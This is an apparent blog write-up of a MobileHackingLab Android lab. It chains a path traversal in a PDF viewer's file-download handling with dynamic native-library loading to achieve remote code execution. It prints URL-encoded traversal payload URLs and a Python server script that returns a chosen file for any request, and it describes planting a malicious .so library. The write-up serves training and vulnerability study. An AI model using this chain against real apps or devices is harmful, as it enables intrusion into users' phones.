Summary

Akwaaba! Here is a link to the Original Vuln: RCE in Adobe Acrobat Reader for android (CVE-2021–40724) | hulkvision. The goal is to exploit a path traversal vulnerability combined with dynamic code loading to achieve remote code execution in this document viewer app. Read my previous Attacking Insecure Content Providers and Hijacking Android Notification System via PendingIntent. Lab — Document Viewer Exploring the App Experience Feeling the app out to further understand it. Upon launch, the app requests permissions to read files on our device. Upon grant, there is a single button used to load a PDF file from the phone’s storages. The content of the PDF file is rendered for us to see in Read mode. What the code says Open the APK in the Jadx-GUI tool to reverse-engineer it into the source code. Now looking at the source code, AndroidManifest.xml file shows this is a single Activity app. The Activity has a configuration which shows it accepts deep links of scheme file, http and https, all of the mimeType PDF. During onCreate , the Activity calls setLoadButtonListener() ¹ handleIntent() ², and loadProLibrary() ³. If pro features are enabled, initProFeatures() is also invoked.

  1. setLoadButtonListener() Inside setLoadButtonListener() , the ActivityResultLauncher is configured with ActivityResultContracts.GetContent() to launch a PDF picker. When the user selects a file, the URI is passed to setLoadButtonListener2() . At the same time, we can observe that the Load Button’s onClick handler triggers setLoadButtonListener3() . Looking at setLoadButtonListener3() , which serves as the Load button’s onClick handler, it calls the ActivityResultLauncher from earlier. This triggers the file picker, allowing the user to choose a PDF file. The ActivityResultLauncher we discussed earlier returns the selected PDF URI by calling setLoadButtonListener2() . Inside this method, the URI is then forwarded to renderPdf() . Looking at renderPdf() , it uses a ParcelFileDescriptor to open the provided URI. This descriptor is then passed to a PDFRenderer instance, which handles rendering the PDF content into bitmap representations. This is why everyone loves [Intent Redirection], it’s easy
  2. handleIntent() The handleIntent() method accepts incoming intents, extracts the Action and Data, and performs validations on them. The URI contained in the Data is passed to CopyUtil.INSTANCE.copyFileFromUri() . The resulting URI is then forwarded to renderPdf() to render the PDF in read‑only mode. copyFileFromURI() Get tinopreter’s stories in your inbox Join Medium for free to get updates from this writer. When the URI is passed to CopyUtil.INSTANCE.copyFileFromUri() , the method extracts the last path segment from the URI and appends it to the external storage public directory. If no path segment exists, it defaults to download.pdf . The device’s preferred Application Binary Interface (ABI e.g., x86 , x86_64 , armeabi-v7a ) is then retrieved. A new file reference is created by combining the external Downloads path with the last path segment.
  3. loadProLibrary() Looking at loadProLibrary() , it references a libdocviewer_pro.so file from the files/native-libraries/ABI directory. The method loads the library using System.load() and enables pro features by setting the flag to true . In cases where the library cannot be found, an exception is raised and the flag is set to false . Checking our logs, we see the app launches in the free user mode and the exception error is thrown. Meaning the libdocviewer_pro.so doesn’t exist on our device yet. We can also see the architecture the Android System is running on. First let’s test how the copyFileFromUri() works, we host a test.pdf and send the link to that via an intent: Write an intent that delivers the PDF: Upon downloading from our server, the PDF file appears in the Android device’s internal storage Downloads folder. As seen in the image, the absolute path to this folder is /storage/emulated/Download . From here, we can traverse out of this directory into the vulnerable app’s files/ directory using the relative path ../../../data/data/com.mobilehackinglab.documentviewer/files/ . [$500 Pre-Account Takeover]that they can’t ignore The getLastPathSegment() Problem The Uri.getLastPathSegment() method returns the last path segment of a URI without decoding URL-encoded characters. Now let’s test this by feeding the crafted URI into the app. When getLastPathSegment() extracts the last segment, it returns the following path: /storage/emulated/0/Download/../../../../data/data/com.mobilehackinglab.documentviewer/files/test.pdf To achieve this, we construct our webserver URL with the traversal sequence: httpx://192.168.x.x/../../../../data/data/com.mobilehackinglab.documentviewer/files/test.pdf But to prevent getLastPathSegment() from decoding the path separators, we URL-encode them, giving us our final payload: httpx://192.168.x.x/..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.mobilehackinglab.documentviewer%2Ffiles%2Ftest.pdf Our request returns a 404 Not Found because the traversal path does not point to a valid resource on our server. The 404 Fix To fix this, there is a python script that will return the same file no matter the path given to it. from http.server import BaseHTTPRequestHandler, HTTPServer

Define the file to be served for any request

STATIC_FILE = ‘./test.pdf’ class SimpleFileServer(BaseHTTPRequestHandler): def do_GET(self): try: with open(STATIC_FILE, ‘rb’) as file: content = file.read() self.send_response(200) self.send_header(‘Content-type’, ‘application/pdf’) self.send_header(‘Content-Length’, str(len(content))) self.end_headers() self.wfile.write(content) except FileNotFoundError: self.send_response(404) self.end_headers() self.wfile.write(b’File not found.’) def run(server_class=HTTPServer, handler_class=SimpleFileServer, port=8000): server_address = (”, port) httpd = server_class(server_address, handler_class) print(f’Serving {STATIC_FILE} on port {port}…’) httpd.serve_forever() run() Start our server and notice there is no test.pdf in the vulnerable app’s files/ directory. Rerunning the exploit app, we observe that despite the traversal path not pointing to a valid location on our server, the Python script still returns the file unconditionally. The app then processes this response, and due to getLastPathSegment() extracting the URL-encoded traversal sequence, the file ultimately gets saved to the app’s private files/ directory. We’ve established that we can write files to arbitrary locations within the app’s private storage. Looking at the screenshot below, the native-libraries directory is not present in the app’s files/ folder. This does not stop our exploit, as the directory will be created automatically when we write the .so library file to the intended path Dynamic Library Exploit To build libdocviewer_pro.so , we turn to C++. The library’s job is simple: when loaded, it calls initProFeatures() . We reimplement that Java method in C++ by following this video Translating a Java Method to Native C++ (Android) to translate from Java to native code. We create our C++ file that will contain the system command that pings our listener. Alongside that, we create the Android.mk file Now we have these two files in one directory. We use the Android ndk-build to build the .so library from these two files Now we see two more directories libs and obj created alongside the previous two. We can find our final library in the libs directory. The Actual Exploit Now edit our python server to serve this libdocviewer_pro.so file no matter the path received in the HTTP request: from http.server import BaseHTTPRequestHandler, HTTPServer

Define the file to be served for any request

STATIC_FILE = ‘./libdocviewer_pro.so’ class SimpleFileServer(BaseHTTPRequestHandler): def do_GET(self): try: with open(STATIC_FILE, ‘rb’) as file: content = file.read() self.send_response(200) self.send_header(‘Content-Length’, str(len(content))) self.end_headers() self.wfile.write(content) except FileNotFoundError: self.send_response(404) self.end_headers() self.wfile.write(b’File not found.’) def run(server_class=HTTPServer, handler_class=SimpleFileServer, port=8000): server_address = (”, port) httpd = server_class(server_address, handler_class) print(f’Serving {STATIC_FILE} on port {port}…’) httpd.serve_forever() run() Serve the library file. Feed the traversal URI to the vulnerable app via an intent httpx://192.168.x.x/..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.mobilehackinglab.documentviewer%2Ffiles%2Fnative-libraries%2Fx86_64%2Flibdocviewer_pro.so And we see the library file downloaded from our python server and placed in the files/native-libraries/x86_64 directory of the vulnerable app With the library file written to the right folder, we open our TCPDump listener for the incoming pings from the Android device. Relaunch the vulnerable app for the malicious library file to be loaded. And we see the pings in our listener. RCE achieved! Certification The final step is submitting the exploit app’s code and a write-up explaining the vulnerability and exploitation chain to the MobileHackingLab team. They’ll review the submission, and if it meets their standards, they’ll award you with a certificate via email. A Simple Technique to [Bypass OTP]

By tinopreter

Original Article